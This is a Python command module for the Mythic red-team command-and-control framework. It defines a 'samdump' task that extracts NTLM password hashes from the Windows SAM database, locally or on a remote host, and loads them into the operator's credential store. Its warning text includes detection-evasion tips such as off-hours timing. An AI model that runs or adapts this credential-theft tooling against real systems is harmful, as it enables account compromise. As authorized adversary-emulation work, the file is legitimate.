from mythic_container.MythicCommandBase import *
from mythic_container.MythicRPC import *
import json
import re
import asyncio


class SamDumpArguments(TaskArguments):
    def __init__(self, command_line, **kwargs):
        super().__init__(command_line, **kwargs)
        self.args = [
            CommandParameter(
                name="method",
                cli_name="method",
                display_name="Dump Method",
                type=ParameterType.ChooseOne,
                choices=["registry", "files", "remote"],
                default_value="registry",
                description="Method to use for SAM dump: registry (default, local registry), files (from SAM/SYSTEM files), or remote (remote system)",
                parameter_group_info=[
                    ParameterGroupInfo(
                        required=True,
                        group_name="Default",
                        ui_position=1
                    )
                ]
            ),
            CommandParameter(
                name="sam_path",
                cli_name="sam_path",
                display_name="SAM File Path",
                type=ParameterType.String,
                description="Path to SAM hive file (required when method=files). Example: C:\\Windows\\System32\\config\\SAM",
                parameter_group_info=[
                    ParameterGroupInfo(
                        required=False,
                        group_name="Default",
                        ui_position=2
                    )
                ]
            ),
            CommandParameter(
                name="system_path",
                cli_name="system_path",
                display_name="SYSTEM File Path",
                type=ParameterType.String,
                description="Path to SYSTEM hive file (required when method=files). Example: C:\\Windows\\System32\\config\\SYSTEM",
                parameter_group_info=[
                    ParameterGroupInfo(
                        required=False,
                        group_name="Default",
                        ui_position=3
                    )
                ]
            ),
            CommandParameter(
                name="remote_host",
                cli_name="remote_host",
                display_name="Remote Host",
                type=ParameterType.String,
                description="Remote system hostname or IP address (required when method=remote)",
                parameter_group_info=[
                    ParameterGroupInfo(
                        required=False,
                        group_name="Default",
                        ui_position=4
                    )
                ]
            ),
            CommandParameter(
                name="impersonate",
                cli_name="impersonate",
                display_name="Impersonate User",
                type=ParameterType.Boolean,
                default_value=False,
                description="Whether to impersonate a user before dumping (for remote access). Only used when method=remote",
                parameter_group_info=[
                    ParameterGroupInfo(
                        required=False,
                        group_name="Default",
                        ui_position=5
                    )
                ]
            ),
            CommandParameter(
                name="username",
                cli_name="username",
                display_name="Username",
                type=ParameterType.String,
                description="Username for impersonation (required if impersonate=true and method=remote)",
                parameter_group_info=[
                    ParameterGroupInfo(
                        required=False,
                        group_name="Default",
                        ui_position=6
                    )
                ]
            ),
            CommandParameter(
                name="password",
                cli_name="password",
                display_name="Password",
                type=ParameterType.String,
                description="Password for impersonation (required if impersonate=true and method=remote)",
                parameter_group_info=[
                    ParameterGroupInfo(
                        required=False,
                        group_name="Default",
                        ui_position=7
                    )
                ]
            ),
        ]

    async def parse_arguments(self):
        # Parse command line arguments if provided
        if len(self.command_line) > 0:
            # Check if command_line is JSON
            if self.command_line.strip().startswith('{'):
                try:
                    json_args = json.loads(self.command_line)
                    # Load from JSON dictionary
                    self.load_args_from_dictionary(json_args)
                    return
                except json.JSONDecodeError:
                    # Not valid JSON, try parsing as space-separated arguments
                    pass
            
            # Parse as space-separated arguments
            parts = self.command_line.split()
            if len(parts) > 0:
                method = parts[0].lower()
                if method in ["registry", "files", "remote"]:
                    self.add_arg("method", method)
                else:
                    raise ValueError(f"Invalid method: {method}. Must be 'registry', 'files', or 'remote'")
                
                # Parse additional arguments based on method
                if method == "files" and len(parts) >= 3:
                    self.add_arg("sam_path", parts[1])
                    self.add_arg("system_path", parts[2])
                elif method == "remote" and len(parts) >= 2:
                    self.add_arg("remote_host", parts[1])
                    if len(parts) >= 4:
                        self.add_arg("impersonate", True)
                        self.add_arg("username", parts[2])
                        self.add_arg("password", parts[3])

    async def parse_dictionary(self, dictionary_arguments):
        self.load_args_from_dictionary(dictionary_arguments)
        
        # Validate required parameters based on method
        method = self.get_arg("method") or "registry"
        
        # For "files" method, both paths are required
        if method == "files":
            if not self.get_arg("sam_path"):
                raise ValueError("sam_path is required when method=files")
            if not self.get_arg("system_path"):
                raise ValueError("system_path is required when method=files")
        
        # For "remote" method, remote_host is required
        if method == "remote":
            if not self.get_arg("remote_host"):
                raise ValueError("remote_host is required when method=remote")
            # username and password are optional - only needed if impersonate=true
            if self.get_arg("impersonate"):
                if not self.get_arg("username") or not self.get_arg("password"):
                    raise ValueError("username and password are required when impersonate=true")


class SamDumpCommand(CommandBase):
    cmd = "samdump"
    needs_admin = True  # Requires SYSTEM privileges to access SAM
    help_cmd = "samdump"
    description = "Dump local account password hashes from the Security Account Manager (SAM) database. Extracts NTLM hashes for all local users. Requires SYSTEM privileges. Automatically reports extracted hashes to Mythic's credential store. HIGH OPSEC RISK: Accessing the SAM database is heavily monitored by EDR/XDR solutions and is a primary indicator of credential theft attacks."
    version = 1
    author = "Kaseya OFSTeam"
    attackmapping = ["T1003.002", "T1003.001"]
    argument_class = SamDumpArguments
    attributes = CommandAttributes(
        supported_os=[SupportedOS.Windows]
    )

    async def opsec_pre(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPreTaskMessageResponse:
        """
        OPSEC check before creating the task.
        SAM database access is highly detectable.
        """
        message = "🚨 HIGH OPSEC RISK - SAM Database Access\n\n"
        message += "This command will:\n"
        message += "  • Access the Security Account Manager (SAM) database\n"
        message += "  • Read encrypted password hashes (NTLM)\n"
        message += "  • Extract hashes for all local user accounts\n"
        message += "  • Report extracted hashes to Mythic's credential store\n\n"
        
        message += "🔍 DETECTION RISKS:\n"
        message += "  • EDR/XDR solutions monitor SAM database access\n"
        message += "  • Registry access to HKEY_LOCAL_MACHINE\\SAM triggers alerts\n"
        message += "  • Credential theft detection rules (MITRE T1003.002)\n"
        message += "  • Behavioral analysis detects credential extraction patterns\n"
        message += "  • Security tools flag SAM access as high-priority indicator\n\n"
        
        message += "⚠️ HIGH DETECTION PROBABILITY:\n"
        message += "  • SAM access is a primary indicator of attack\n"
        message += "  • Many security tools have specific rules for this activity\n"
        message += "  • Registry access patterns are logged and monitored\n"
        message += "  • Detection is likely within minutes\n\n"
        
        message += "💡 CONSIDERATIONS:\n"
        message += "  • Requires SYSTEM privileges (use steal_token on SYSTEM process)\n"
        message += "  • This activity is commonly detected within minutes\n"
        message += "  • Consider timing (off-hours may reduce detection)\n"
        message += "  • Ensure you have proper authorization\n"
        message += "  • Alternative: Use Mimikatz or other tools via inline_execute_assembly\n\n"
        
        message += "✅ This command requires approval from another operator."
        
        return PTTTaskOPSECPreTaskMessageResponse(
            TaskID=taskData.Task.ID,
            Success=True,
            OpsecPreBlocked=True,  # Block by default
            OpsecPreBypassRole="other_operator",  # Requires another operator to approve
            OpsecPreMessage=message
        )

    async def opsec_post(self, taskData: PTTaskMessageAllData) -> PTTTaskOPSECPostTaskMessageResponse:
        """
        OPSEC check after creating the task.
        Warns about artifacts that will be created.
        """
        message = "🚨 OPSEC POST-CHECK - SAM Database Access Artifacts\n\n"
        message += "This task will create the following artifacts:\n"
        message += "  • Registry Read: HKEY_LOCAL_MACHINE\\SAM access\n"
        message += "  • Registry Read: HKEY_LOCAL_MACHINE\\SYSTEM access (for boot key)\n"
        message += "  • Credential Access: SAM database enumeration\n"
        message += "  • Credential Extraction: NTLM hashes reported to Mythic\n\n"
        
        message += "🔍 DETECTION RISKS:\n"
        message += "  • EDR/XDR registry access monitoring\n"
        message += "  • Credential theft detection rules (MITRE T1003.002)\n"
        message += "  • Behavioral analysis (credential extraction patterns)\n"
        message += "  • Registry access auditing (if enabled)\n\n"
        
        message += "⚠️ CRITICAL DETECTION PROBABILITY:\n"
        message += "  • SAM access is heavily monitored\n"
        message += "  • Detection is likely within minutes\n"
        message += "  • Multiple security layers may trigger alerts\n\n"
        
        message += "✅ This is a FINAL WARNING - task will proceed if approved.\n"
        message += "Ensure you understand the detection risks before continuing."
        
        return PTTTaskOPSECPostTaskMessageResponse(
            TaskID=taskData.Task.ID,
            Success=True,
            OpsecPostBlocked=False,  # Don't block, just warn
            OpsecPostBypassRole="operator",
            OpsecPostMessage=message
        )

    async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
        response = PTTaskCreateTaskingMessageResponse(
            TaskID=taskData.Task.ID,
            Success=True,
        )
        
        method = taskData.args.get_arg("method") or "registry"
        display_params = f"Dumping SAM database via {method}"
        
        if method == "files":
            sam_path = taskData.args.get_arg("sam_path")
            system_path = taskData.args.get_arg("system_path")
            display_params += f" (SAM: {sam_path}, SYSTEM: {system_path})"
        elif method == "remote":
            remote_host = taskData.args.get_arg("remote_host")
            display_params += f" (Remote: {remote_host})"
            if taskData.args.get_arg("impersonate"):
                username = taskData.args.get_arg("username")
                display_params += f" (Impersonating: {username})"
        
        response.DisplayParams = display_params
        return response

    async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
        """
        Process response from agent.
        The response contains SAM dump output with NTLM hashes.
        Extract hashes and report them to Mythic's credential store.
        """
        resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
        
        if not response:
            return resp
        
        # Parse the response to extract NTLM hashes
        response_text = str(response)
        
        # Pattern to match NTLM hashes: username:RID:LM:NTLM
        # Format: Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
        hash_pattern = r'([^:]+):(\d+):([a-fA-F0-9]{32}|):([a-fA-F0-9]{32}|):'
        
        hashes_found = []
        for match in re.finditer(hash_pattern, response_text):
            username = match.group(1).strip()
            rid = match.group(2)
            lm_hash = match.group(3) if match.group(3) else None
            ntlm_hash = match.group(4) if match.group(4) else None
            
            # Only report if we have at least one hash
            if ntlm_hash and ntlm_hash != "aad3b435b51404eeaad3b435b51404ee":  # Empty hash
                hashes_found.append({
                    "username": username,
                    "rid": rid,
                    "lm_hash": lm_hash if lm_hash and lm_hash != "aad3b435b51404eeaad3b435b51404ee" else None,
                    "ntlm_hash": ntlm_hash
                })
        
        # Report credentials to Mythic
        for hash_data in hashes_found:
            try:
                # Format: username:rid:lm_hash:ntlm_hash
                credential_string = f"{hash_data['username']}:{hash_data['rid']}:"
                if hash_data['lm_hash']:
                    credential_string += f"{hash_data['lm_hash']}:"
                else:
                    credential_string += ":"
                credential_string += f"{hash_data['ntlm_hash']}"
                
                # Create credential in Mythic
                await SendMythicRPCCredentialCreate(MythicRPCCredentialCreateMessage(
                    TaskID=task.Task.ID,
                    Credentials=[
                        MythicRPCCredentialCreateData(
                            account=hash_data['username'],
                            realm="",  # Local account, no domain
                            credential=credential_string,
                            credential_type="hash",  # NTLM hash
                            metadata=f"RID: {hash_data['rid']}, LM Hash: {hash_data['lm_hash'] if hash_data['lm_hash'] else 'N/A'}"
                        )
                    ]
                ))
            except Exception as e:
                # Log error but continue processing other hashes
                pass
        
        return resp
